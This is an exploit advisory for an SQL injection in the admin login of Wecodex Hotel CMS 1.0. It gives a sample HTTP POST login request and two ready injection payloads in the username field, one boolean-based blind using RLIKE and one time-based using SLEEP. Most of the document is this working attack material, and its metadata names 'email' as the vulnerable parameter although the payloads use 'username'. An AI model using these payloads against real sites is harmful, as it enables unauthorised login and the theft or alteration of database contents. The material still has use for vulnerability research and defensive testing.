Wecodex Hotel CMS 1.0 SQL Injection

`# Exploit Title: Wecodex Hotel CMS 1.0 - 'Admin Login' SQL Injection  
# Dork: N/A  
# Date: 2018-05-23  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor : Wecodex Solutions  
# Vendor Homepage: https://www.wecodex.com/item/view/hotel-management-system-in-php-and-mysql/7  
# Version: 1.0  
# Category: Webapps  
# Tested on: Kali linux  
# Description : PHP Dashboards is prone to an SQL-injection vulnerability  
# because it fails to sufficiently sanitize user-supplied data before using  
# it in an SQL query.Exploiting this issue could allow an attacker to  
# compromise the application, access or modify data, or exploit latent  
# vulnerabilities in the underlying database.  
  
# PoC : SQLi :  
# Demo : https://Target/demos/hotel/admin/  
  
https://Target/demos/hotel/admin/index.php?action=processlogin  
  
POST /demos/hotel/admin/index.php?action=processlogin HTTP/1.1  
Host: Target  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://Target/demos/hotel/admin/  
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 30  
username=admin&password=123456  
  
  
# Vulnerable Payload :  
# Parameter: email (POST)  
# Type: boolean-based blind  
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
# Payload:   
  
username=admin" RLIKE (SELECT (CASE WHEN (7084=7084) THEN  
0x61646d696e4061646d696e2e636f6d ELSE 0x28 END)) AND  
"eloY"="eloY&password=123456  
  
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
# Payload:   
  
username=admin" AND (SELECT * FROM (SELECT(SLEEP(5)))lzxm) AND  
"vZea"="vZea&password=123456  
  
`